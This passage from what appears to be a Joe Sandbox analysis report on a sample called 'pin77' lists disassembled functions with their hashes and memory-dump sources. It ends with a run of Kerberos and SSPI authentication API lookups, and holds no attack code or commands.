                                                                                                                                                    • Opcode Fuzzy Hash: 913563b9640588b8331faa1d9edef591449eca4e233a195269d1d91c6439958c
                                                                                                                                                    • Instruction Fuzzy Hash: E55193B590430857D630EA10DC46FDBB3E8FF94308F508C38E589A7283EA79A51AC796
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0034D3D0 Relevance: .2, Instructions: 178COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID:
                                                                                                                                                    • Opcode ID: 8154f71001aaaf8652a20ddede5e17d2db31bd1cd8b8c7079712c63cdfe9ea1f
                                                                                                                                                    • Instruction ID: 024ee290c84b5e3427dd01c9894a50bb98165902aece426831108ab4f57d0fd2
                                                                                                                                                    • Opcode Fuzzy Hash: 8154f71001aaaf8652a20ddede5e17d2db31bd1cd8b8c7079712c63cdfe9ea1f
                                                                                                                                                    • Instruction Fuzzy Hash: 3B51E3F5D00A115BDA236B31FC4AB9776955F10318F094839FC5F9A222FB22F624D652
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0036D4A0 Relevance: .2, Instructions: 165COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID:
                                                                                                                                                    • Opcode ID: 87daec2026c58a7f6f6ed4c406acc5ec9de37e5a01e1346cefce6c9311de8612
                                                                                                                                                    • Instruction ID: be9557e1c87f8bb7b98b363d77eb985237ea7e2f41723d59475f62a627b5ff18
                                                                                                                                                    • Opcode Fuzzy Hash: 87daec2026c58a7f6f6ed4c406acc5ec9de37e5a01e1346cefce6c9311de8612
                                                                                                                                                    • Instruction Fuzzy Hash: F641F332B182050BD74CEE398C5A66AB383ABC4210F48C63DE946C73C5EE709969C281
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003963AB Relevance: .2, Instructions: 158COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID:
                                                                                                                                                    • Opcode ID: b82f4562c825d87db9937be0d784f959c9f6ed46b2b441a05cc9ce24cb6843e9
                                                                                                                                                    • Instruction ID: 0932ba907b7d5bd6adc317d86e32c1a68e5b5fec7d6221b5b7e660375f634ac3
                                                                                                                                                    • Opcode Fuzzy Hash: b82f4562c825d87db9937be0d784f959c9f6ed46b2b441a05cc9ce24cb6843e9
                                                                                                                                                    • Instruction Fuzzy Hash: 2E518371E01219EFDF05CF99C981AEEBBB6EF88314F59805DE815AB241C734AE50CB90
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0036D660 Relevance: .2, Instructions: 156COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID:
                                                                                                                                                    • Opcode ID: 1d8c27687f2a2a1e6d513315b3b28fef39b1a012a0a5b8b67139e97d7ec3cc23
                                                                                                                                                    • Instruction ID: 78f4e55b5359d94a166fc8b191dd78991ac7381c352901ff9a3050647a9771ce
                                                                                                                                                    • Opcode Fuzzy Hash: 1d8c27687f2a2a1e6d513315b3b28fef39b1a012a0a5b8b67139e97d7ec3cc23
                                                                                                                                                    • Instruction Fuzzy Hash: 9D410532B182524BE75CDE38CC0566FB7D2ABC8220F49CA3DE956D73C6EA709915C781
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0036D0A0 Relevance: .1, Instructions: 144COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID:
                                                                                                                                                    • Opcode ID: d709a310d6539a7ab84d22519e105320ad01ae77bd681a478ed521ebe115504b
                                                                                                                                                    • Instruction ID: 843202a1353e52c07c556c847bb1306814d720e8c7d66cc94a92cec220fed54b
                                                                                                                                                    • Opcode Fuzzy Hash: d709a310d6539a7ab84d22519e105320ad01ae77bd681a478ed521ebe115504b
                                                                                                                                                    • Instruction Fuzzy Hash: 00410632B1826107E31CDA3D8C1526FB7D3ABC8220B49C73DE986D77C5EA749825C381
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0038CD90 Relevance: .1, Instructions: 130COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID:
                                                                                                                                                    • Opcode ID: 6dac67a96d1680ffe0e7ee8e2aadf6fd350d965b7ba169ca0a90e1a247898c17
                                                                                                                                                    • Instruction ID: 6e5ec80f844a45a8f1851df96b31eb637330ba90e97ad7c22632d797b1526b63
                                                                                                                                                    • Opcode Fuzzy Hash: 6dac67a96d1680ffe0e7ee8e2aadf6fd350d965b7ba169ca0a90e1a247898c17
                                                                                                                                                    • Instruction Fuzzy Hash: EE4100A5C09F4946E713A73A9843753E6949FF3295F40CB0BFCE4769A1E321B244A310
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00359280 Relevance: .1, Instructions: 117COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID:
                                                                                                                                                    • Opcode ID: f75bfb6a5ddaf25dc7e6f65a198da53d4c5d53998e42a954547b0e4f2b213168
                                                                                                                                                    • Instruction ID: 6e247b1525b8fbbffc9ea997e32aefcffedc9d3919c660ab06dd40e6af4eb48e
                                                                                                                                                    • Opcode Fuzzy Hash: f75bfb6a5ddaf25dc7e6f65a198da53d4c5d53998e42a954547b0e4f2b213168
                                                                                                                                                    • Instruction Fuzzy Hash: 04312336F042208BD7219D6888C065A73D6EBC8360F5E873DEDAA973E1CA70EC15C6C1
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0038ED00 Relevance: .1, Instructions: 76COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID:
                                                                                                                                                    • Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
                                                                                                                                                    • Instruction ID: 35d285a6e25e500ae37ecfa499e323dc3f2e05927457e9f8f1160958d3dbd299
                                                                                                                                                    • Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
                                                                                                                                                    • Instruction Fuzzy Hash: 2F112B77240382CFD616AA2DC8B46B7E796EBD6320B2E43FAD0614F758D122994D9B00
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00358A20 Relevance: .0, Instructions: 45COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID:
                                                                                                                                                    • Opcode ID: b49b1295778ce9f2eb9a3912326190fcff8765324f50de36fa673b09c7e64b8d
                                                                                                                                                    • Instruction ID: 784191f2287c94c2235460e6c5ae1b6b8d413568ad6cc9bde9b893ecb073fee5
                                                                                                                                                    • Opcode Fuzzy Hash: b49b1295778ce9f2eb9a3912326190fcff8765324f50de36fa673b09c7e64b8d
                                                                                                                                                    • Instruction Fuzzy Hash: 11F0F6B2A407096FD3205E64EC86F52B7E4EBA2752F454029E984AB391E671A84887A0
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0032F2F0 Relevance: .0, Instructions: 42COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID:
                                                                                                                                                    • Opcode ID: 7ce7ecb41fbdd3ad1bf0f50cf33c98c1a5bbfbbd404961c61f9a6b3ab98948d6
                                                                                                                                                    • Instruction ID: 4e92242cad34c81bbfa75a0d33399d3fc72cf89b093e58e6be872d62129548ed
                                                                                                                                                    • Opcode Fuzzy Hash: 7ce7ecb41fbdd3ad1bf0f50cf33c98c1a5bbfbbd404961c61f9a6b3ab98948d6
                                                                                                                                                    • Instruction Fuzzy Hash: FEF036F69006215FD723AE16FC45B0773B5AB51314F070436E94657612D732F928C652
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003433A0 Relevance: .0, Instructions: 35COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID:
                                                                                                                                                    • Opcode ID: 3fbb3e77f61742e7edfe66cf87d128a0a0d6a540fee8a4e73d66e5e66120aea1
                                                                                                                                                    • Instruction ID: 689aee047345848380c914523d5a80efe98384f40b6895a143b74b6fef164738
                                                                                                                                                    • Opcode Fuzzy Hash: 3fbb3e77f61742e7edfe66cf87d128a0a0d6a540fee8a4e73d66e5e66120aea1
                                                                                                                                                    • Instruction Fuzzy Hash: F9F0EC75C01222ABD722AF06FC06B6AF7659F42324F188030E8155B2A2D732B8B0CB91
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0033C7D0 Relevance: .0, Instructions: 16COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID:
                                                                                                                                                    • Opcode ID: 279f7eb8e6c167c4409cab0f2abcd02a44e999263011f89c71bc761125bf0a14
                                                                                                                                                    • Instruction ID: 0fa618161441a5b5db9097296197a909d346f8d1fb1909ce27897f8fe9492dd4
                                                                                                                                                    • Opcode Fuzzy Hash: 279f7eb8e6c167c4409cab0f2abcd02a44e999263011f89c71bc761125bf0a14
                                                                                                                                                    • Instruction Fuzzy Hash: 04C012318127205BDA304E15A8457D7BAB85F03354F012404FC45B3251D360D58886D9
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0037E0B0 Relevance: .0, Instructions: 14COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID:
                                                                                                                                                    • Opcode ID: ebed88c84f747461b66a3920df772f270d988779ca68e89eccd22e5713835100
                                                                                                                                                    • Instruction ID: 836b6b1d432ef917cbd9248a2b3875b1cf09db3715fd84ec0ea264bf078af831
                                                                                                                                                    • Opcode Fuzzy Hash: ebed88c84f747461b66a3920df772f270d988779ca68e89eccd22e5713835100
                                                                                                                                                    • Instruction Fuzzy Hash: DAC092F273804603DB2D44B9CCD970A9186A35432CF51CABAE019EAA80C84EF9915241
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0039A4B2 Relevance: .0, Instructions: 12COMMONLIBRARYCODE
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID:
                                                                                                                                                    • Opcode ID: 7ab7f13b2fa88397a75655b1bd4fe4b0ba8d9f6ce3449be10a51de5468010258
                                                                                                                                                    • Instruction ID: a83bfc59613378cd6c18439768ab0e1e6262111c727a01125163918d97bc0f43
                                                                                                                                                    • Opcode Fuzzy Hash: 7ab7f13b2fa88397a75655b1bd4fe4b0ba8d9f6ce3449be10a51de5468010258
                                                                                                                                                    • Instruction Fuzzy Hash: 42C08C35041E544ACE2B8A1882753A43354E392782F8205CCCE0B4B742C95EAC82E642
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00340300 Relevance: 124.6, APIs: 42, Strings: 29, Instructions: 400libraryloaderregistryCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,AddDllDirectory), ref: 0034034B
                                                                                                                                                    • RegOpenKeyA.ADVAPI32(80000002,SOFTWARE\MIT\Kerberos,?), ref: 0034037D
                                                                                                                                                    • RegQueryValueExA.ADVAPI32(?,InstallDir,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 003403A6
                                                                                                                                                    • RegQueryValueExA.ADVAPI32(?,InstallDir,00000000,?,00000000,?), ref: 003403E3
                                                                                                                                                    • _strlen.LIBCMT ref: 003403FF
                                                                                                                                                    • _strlen.LIBCMT ref: 0034043C
                                                                                                                                                    • LoadLibraryExA.KERNEL32(00000000,00000000,00000D00), ref: 0034046A
                                                                                                                                                    • RegCloseKey.ADVAPI32(?), ref: 003404D6
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,gss_delete_sec_context), ref: 00340518
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,gss_display_status), ref: 00340524
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,gss_get_mic), ref: 00340530
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,gss_verify_mic), ref: 0034053C
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,gss_import_name), ref: 00340548
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,gss_init_sec_context), ref: 00340554
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,gss_release_buffer), ref: 00340560
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,gss_release_cred), ref: 0034056C
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,gss_release_name), ref: 00340578
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,gss_acquire_cred), ref: 00340584
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,gss_inquire_cred_by_mech), ref: 00340590
                                                                                                                                                    • RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,003173A0,?), ref: 003405AB
                                                                                                                                                    • FreeLibrary.KERNEL32(00000000), ref: 0034049E
                                                                                                                                                      • Part of subcall function 0032B850: LoadLibraryA.KERNELBASE(00000000,00000000,?,003399F0,kernel32.dll), ref: 0032B86F
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,AcquireCredentialsHandleA), ref: 003405FA
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,InitializeSecurityContextA), ref: 00340607
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,FreeContextBuffer), ref: 00340614
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,FreeCredentialsHandle), ref: 00340621
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,DeleteSecurityContext), ref: 0034062E
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,QueryContextAttributesA), ref: 0034063B
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,MakeSignature), ref: 00340648
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,VerifySignature), ref: 00340655
                                                                                                                                                    • _strlen.LIBCMT ref: 003406DC
                                                                                                                                                    • LoadLibraryExA.KERNEL32(?,00000000,00000D00,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00340757
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,gss_delete_sec_context), ref: 003407A5
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,gss_display_status), ref: 003407B1
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,gss_get_mic), ref: 003407BD
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,gss_verify_mic), ref: 003407C9
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,gss_import_name), ref: 003407D5
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,gss_init_sec_context), ref: 003407E1
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,gss_release_buffer), ref: 003407ED
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,gss_release_cred), ref: 003407F9
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,gss_release_name), ref: 00340805
